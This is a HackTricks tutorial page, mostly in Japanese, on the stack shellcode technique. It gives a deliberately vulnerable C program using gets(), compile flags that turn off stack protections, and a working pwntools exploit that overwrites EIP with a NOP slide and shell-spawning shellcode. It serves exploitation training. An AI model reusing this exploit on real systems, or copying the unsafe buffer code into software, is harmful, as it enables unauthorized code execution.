Stack Shellcode

Support HackTricks

基本情報

Stack shellcode は、バイナリエクスプロイトにおいて攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後命令ポインタ (IP) または 拡張命令ポインタ (EIP) をこのシェルコードの位置を指すように変更し、実行させる技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行させたりするために使用される古典的な方法です。以下に、プロセスの内訳と、シンプルなCの例、そしてpwntoolsを使用して対応するエクスプロイトを書く方法を示します。

Cの例: 脆弱なプログラム

脆弱なCプログラムのシンプルな例から始めましょう:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

このプログラムは、gets()関数の使用によりバッファオーバーフローに対して脆弱です。

コンパイル

このプログラムをコンパイルして、さまざまな保護を無効にすることで(脆弱な環境をシミュレートするために)、次のコマンドを使用できます:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: スタック保護を無効にします。

  • -z execstack: スタックを実行可能にし、スタックに保存されたシェルコードを実行するために必要です。

  • -no-pie: ポジション独立実行可能ファイルを無効にし、シェルコードが配置されるメモリアドレスを予測しやすくします。

  • -m32: プログラムを32ビット実行可能ファイルとしてコンパイルし、エクスプロイト開発の簡素化に役立ちます。

Python Exploit using Pwntools

ここでは、pwntoolsを使用してret2shellcode攻撃を実行するためのPythonでのエクスプロイトの書き方を示します:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

このスクリプトは、NOPスライドシェルコードで構成されるペイロードを構築し、EIPをNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。

NOPスライドasm('nop'))は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。p32()引数をバッファの開始アドレスにオフセットを加えた値に調整して、NOPスライドに到達させます。

保護

  • ASLR は無効にするべきで、そうしないとアドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、win関数がどこにロードされているかを把握するために何らかのリークが必要になります。

  • スタックカナリアも無効にするべきで、そうしないと侵害されたEIPの戻りアドレスは決して追跡されません。

  • NX スタック保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。

その他の例と参考文献

HackTricksをサポートする

Last updated